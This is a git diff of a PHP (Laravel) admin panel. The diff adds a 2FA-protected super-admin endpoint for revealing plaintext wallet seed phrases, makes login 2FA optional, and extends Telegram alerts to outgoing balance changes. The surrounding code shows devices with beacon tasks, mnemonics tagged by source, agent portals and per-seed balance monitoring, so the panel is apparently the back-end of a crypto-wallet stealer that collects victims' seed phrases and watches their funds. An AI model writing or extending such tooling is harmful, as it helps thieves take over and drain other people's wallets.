diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php
index 49f4d08..5e01a67 100644
--- a/app/Http/Controllers/Admin/DeviceController.php
+++ b/app/Http/Controllers/Admin/DeviceController.php
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
+use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
@@ -124,6 +125,8 @@ class DeviceController extends Controller
'addressChains' => $addressChains,
'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
+ 'can_reveal' => $this->canRevealMnemonics(),
+ 'google_bound' => $this->googleBoundForReveal(),
]);
}
@@ -468,13 +471,16 @@ class DeviceController extends Controller
$field = 'id';
}
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
- $data = collect($paginator->items())->map(function (WalletMnemonic $w) {
+ $canReveal = $this->canRevealMnemonics();
+ $data = collect($paginator->items())->map(function (WalletMnemonic $w) use ($canReveal) {
return [
'id' => $w->id,
'source' => $w->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
+ 'can_reveal' => $canReveal,
+ 'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '',
];
})->values();
@@ -674,4 +680,21 @@ class DeviceController extends Controller
return null;
}
+
+ private function canRevealMnemonics(): bool
+ {
+ if ($this->isAgentPortal()) {
+ return false;
+ }
+ $admin = auth('admin')->user();
+
+ return $admin instanceof Admin && $admin->canRevealMnemonics();
+ }
+
+ private function googleBoundForReveal(): bool
+ {
+ $admin = auth('admin')->user();
+
+ return $admin instanceof Admin && $admin->hasGoogleBound();
+ }
}
diff --git a/app/Http/Controllers/Admin/Google2faController.php b/app/Http/Controllers/Admin/Google2faController.php
index 2754956..b77002e 100644
--- a/app/Http/Controllers/Admin/Google2faController.php
+++ b/app/Http/Controllers/Admin/Google2faController.php
@@ -17,8 +17,8 @@ class Google2faController extends Controller
$admin = auth('admin')->user();
return view('admin.security.google2fa', [
- 'enabled' => (int) $admin->google_auth_open === 1,
- 'bound' => filled($admin->google_secret),
+ 'enabled' => $admin->requiresLoginGoogle(),
+ 'bound' => $admin->hasGoogleBound(),
]);
}
@@ -62,6 +62,7 @@ class Google2faController extends Controller
$data = $request->validate([
'GAKey' => ['required', 'string', 'max:16'],
'GASecret' => ['required', 'string', 'max:64'],
+ 'login_verify' => ['nullable', 'integer', 'in:0,1'],
], [
'GAKey.required' => '请输入谷歌验证码',
'GASecret.required' => '参数不完整',
@@ -76,14 +77,20 @@ class Google2faController extends Controller
return response()->json(['code' => 1, 'msg' => '绑定失败,验证码不正确']);
}
+ $loginVerify = (int) ($data['login_verify'] ?? 0);
$admin->forceFill([
- 'google_auth_open' => 1,
+ 'google_auth_open' => $loginVerify,
'google_secret' => $data['GASecret'],
])->save();
$request->session()->forget('admin_google2fa_pending_secret');
- return response()->json(['code' => 0, 'msg' => '绑定成功,下次登录将需要输入谷歌验证码']);
+ return response()->json([
+ 'code' => 0,
+ 'msg' => $loginVerify === 1
+ ? '绑定成功,下次登录需要输入谷歌验证码'
+ : '绑定成功。登录不校验谷歌验证码;查看助记词明文仍需验证',
+ ]);
}
public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse
@@ -106,18 +113,18 @@ class Google2faController extends Controller
}
$open = (int) $data['open'];
- if ($open === 0) {
- $code = (string) ($data['GACode'] ?? '');
- if (! $google2fa->verify((string) $admin->google_secret, $code)) {
- return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
- }
+ $code = (string) ($data['GACode'] ?? '');
+ if (! $google2fa->verify((string) $admin->google_secret, $code)) {
+ return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
$admin->forceFill(['google_auth_open' => $open])->save();
return response()->json([
'code' => 0,
- 'msg' => $open === 1 ? '已开启谷歌验证' : '已关闭谷歌验证',
+ 'msg' => $open === 1
+ ? '已开启登录谷歌验证'
+ : '已关闭登录谷歌验证(绑定仍保留,查看助记词仍需验证)',
]);
}
diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php
index 071d6c1..04ce123 100644
--- a/app/Http/Controllers/Admin/MnemonicController.php
+++ b/app/Http/Controllers/Admin/MnemonicController.php
@@ -4,9 +4,11 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
+use App\Models\Admin;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
+use App\Services\AdminGoogle2fa;
use App\Services\MnemonicWalletDiscovery;
use App\Services\WalletBalanceService;
use App\Support\AgentScope;
@@ -36,6 +38,8 @@ class MnemonicController extends Controller
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
+ 'can_reveal' => $this->canRevealMnemonics(),
+ 'google_bound' => $this->googleBoundForReveal(),
]);
}
@@ -56,7 +60,8 @@ class MnemonicController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
- $data = collect($paginator->items())->map(function ($row) use ($portal) {
+ $canReveal = $this->canRevealMnemonics();
+ $data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
@@ -68,6 +73,8 @@ class MnemonicController extends Controller
'detail_url' => route($portal.'.devices.show', $row->device_id),
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
+ 'can_reveal' => $canReveal,
+ 'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $row->id) : '',
];
})->values();
@@ -79,6 +86,54 @@ class MnemonicController extends Controller
]);
}
+ public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
+ {
+ /** @var Admin|null $admin */
+ $admin = auth('admin')->user();
+ if ($admin === null || ! $admin->canRevealMnemonics()) {
+ return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
+ }
+ if ($this->isAgentPortal() || ! $this->mnemonicAllowed($mnemonic)) {
+ return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
+ }
+ if (! $admin->hasGoogleBound()) {
+ return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']);
+ }
+
+ $data = $request->validate([
+ 'GACode' => ['required', 'string', 'max:16'],
+ ], [
+ 'GACode.required' => '请输入谷歌验证码',
+ ]);
+
+ $throttleKey = 'mnemonic-reveal:'.$admin->id;
+ if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
+ $seconds = RateLimiter::availableIn($throttleKey);
+
+ return response()->json([
+ 'code' => 1,
+ 'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试',
+ ], 429);
+ }
+
+ if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
+ RateLimiter::hit($throttleKey, 60);
+
+ return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
+ }
+
+ RateLimiter::clear($throttleKey);
+
+ return response()->json([
+ 'code' => 0,
+ 'msg' => 'ok',
+ 'data' => [
+ 'id' => $mnemonic->id,
+ 'mnemonic' => (string) $mnemonic->mnemonic,
+ ],
+ ]);
+ }
+
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
{
if (! $this->mnemonicAllowed($mnemonic)) {
@@ -146,6 +201,23 @@ class MnemonicController extends Controller
]);
}
+ private function canRevealMnemonics(): bool
+ {
+ if ($this->isAgentPortal()) {
+ return false;
+ }
+ $admin = auth('admin')->user();
+
+ return $admin instanceof Admin && $admin->canRevealMnemonics();
+ }
+
+ private function googleBoundForReveal(): bool
+ {
+ $admin = auth('admin')->user();
+
+ return $admin instanceof Admin && $admin->hasGoogleBound();
+ }
+
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
{
$allowed = WalletMnemonic::query()
diff --git a/app/Http/Controllers/Agent/PasswordController.php b/app/Http/Controllers/Agent/PasswordController.php
new file mode 100644
index 0000000..f2a1033
--- /dev/null
+++ b/app/Http/Controllers/Agent/PasswordController.php
@@ -0,0 +1,51 @@
+ 'user',
+ 'username' => (string) (auth('agent')->user()?->username ?? ''),
+ ]);
+ }
+
+ public function update(Request $request): JsonResponse
+ {
+ /** @var User $user */
+ $user = $request->user('agent');
+
+ $data = $request->validate([
+ 'current_password' => ['required', 'string'],
+ 'password' => ['required', 'string', 'min:6', 'max:128', 'confirmed'],
+ ], [
+ 'current_password.required' => '请填写当前密码',
+ 'password.required' => '请填写新密码',
+ 'password.min' => '新密码至少 6 位',
+ 'password.confirmed' => '两次输入的新密码不一致',
+ ]);
+
+ if (! Hash::check($data['current_password'], $user->password)) {
+ return response()->json(['code' => 1, 'msg' => '当前密码不正确']);
+ }
+
+ if (Hash::check($data['password'], $user->password)) {
+ return response()->json(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
+ }
+
+ $user->password = $data['password'];
+ $user->save();
+
+ $request->session()->regenerate();
+
+ return response()->json(['code' => 0, 'msg' => '密码已更新']);
+ }
+}
diff --git a/app/Models/Admin.php b/app/Models/Admin.php
index ab06509..a396049 100644
--- a/app/Models/Admin.php
+++ b/app/Models/Admin.php
@@ -37,4 +37,19 @@ class Admin extends Authenticatable
{
return (int) $this->status === 1;
}
+
+ public function hasGoogleBound(): bool
+ {
+ return filled($this->google_secret);
+ }
+
+ public function requiresLoginGoogle(): bool
+ {
+ return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
+ }
+
+ public function canRevealMnemonics(): bool
+ {
+ return $this->isSuper();
+ }
}
diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php
index d29ce0b..1442a2f 100644
--- a/app/Services/TelegramNotifier.php
+++ b/app/Services/TelegramNotifier.php
@@ -282,13 +282,15 @@ class TelegramNotifier
string $amount,
?string $chain = null,
?string $balance = null,
+ bool $inbound = true,
): void {
+ $signed = ($inbound ? '+' : '-').ltrim($amount, '+-');
$lines = [
- '✅ 余额入账',
+ $inbound ? '✅ 余额入账' : '📤 余额转出',
...$this->deviceHeader($deviceId),
'🪙 链: '.$this->e($chain ?: '—'),
'📬 地址: '.$this->e($address).'',
- '💵 金额: +'.$this->e($amount).' '.$this->e($symbol),
+ '💵 金额: '.$this->e($signed).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 余额: '.$this->e($balance);
diff --git a/app/Services/Tokenview/TokenviewMonitorService.php b/app/Services/Tokenview/TokenviewMonitorService.php
index 660a894..d5a5c08 100644
--- a/app/Services/Tokenview/TokenviewMonitorService.php
+++ b/app/Services/Tokenview/TokenviewMonitorService.php
@@ -148,13 +148,13 @@ class TokenviewMonitorService
});
}
- $inbound = [];
+ $changes = [];
foreach ($deltas as $col => $delta) {
- if ($delta > 0) {
- $inbound[$col] = $delta;
+ if ($delta != 0.0) {
+ $changes[$col] = $delta;
}
}
- if ($inbound === []) {
+ if ($changes === []) {
return;
}
@@ -162,14 +162,15 @@ class TokenviewMonitorService
$primary->refresh();
$balanceSummary = $primary->coinsSummary();
$deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id;
- foreach ($inbound as $col => $delta) {
+ foreach ($changes as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
$lookup,
strtoupper($col),
- WalletAddress::formatAmount($col, $delta),
+ WalletAddress::formatAmount($col, abs($delta)),
$coin,
- $balanceSummary
+ $balanceSummary,
+ $delta > 0,
);
}
}
diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php
index 0e79079..b747622 100644
--- a/resources/views/admin/devices/show.blade.php
+++ b/resources/views/admin/devices/show.blade.php
@@ -210,6 +210,7 @@
@endsection
@push('scripts')
+@include('admin.partials.mnemonic_reveal')
@@ -69,11 +72,17 @@
@endsection
@push('scripts')
+@include('admin.partials.mnemonic_reveal')
diff --git a/resources/views/admin/security/google2fa.blade.php b/resources/views/admin/security/google2fa.blade.php
index 4b3b897..26060d8 100644
--- a/resources/views/admin/security/google2fa.blade.php
+++ b/resources/views/admin/security/google2fa.blade.php
@@ -6,19 +6,30 @@
- 当前状态: - @if($enabled) - 已开启 - @elseif($bound) - 已绑定未开启 +
+ 绑定状态: + @if($bound) + 已绑定 @else 未绑定 @endif
++ 登录验证: + @if($enabled) + 已开启(登录必须填验证码) + @elseif($bound) + 未开启(登录不校验,查看助记词仍需验证) + @else + 未开启 + @endif +
++ 绑定后可以关闭登录验证。超级管理员查看助记词明文必须使用谷歌验证,与登录开关无关。 +
@if(!$bound) -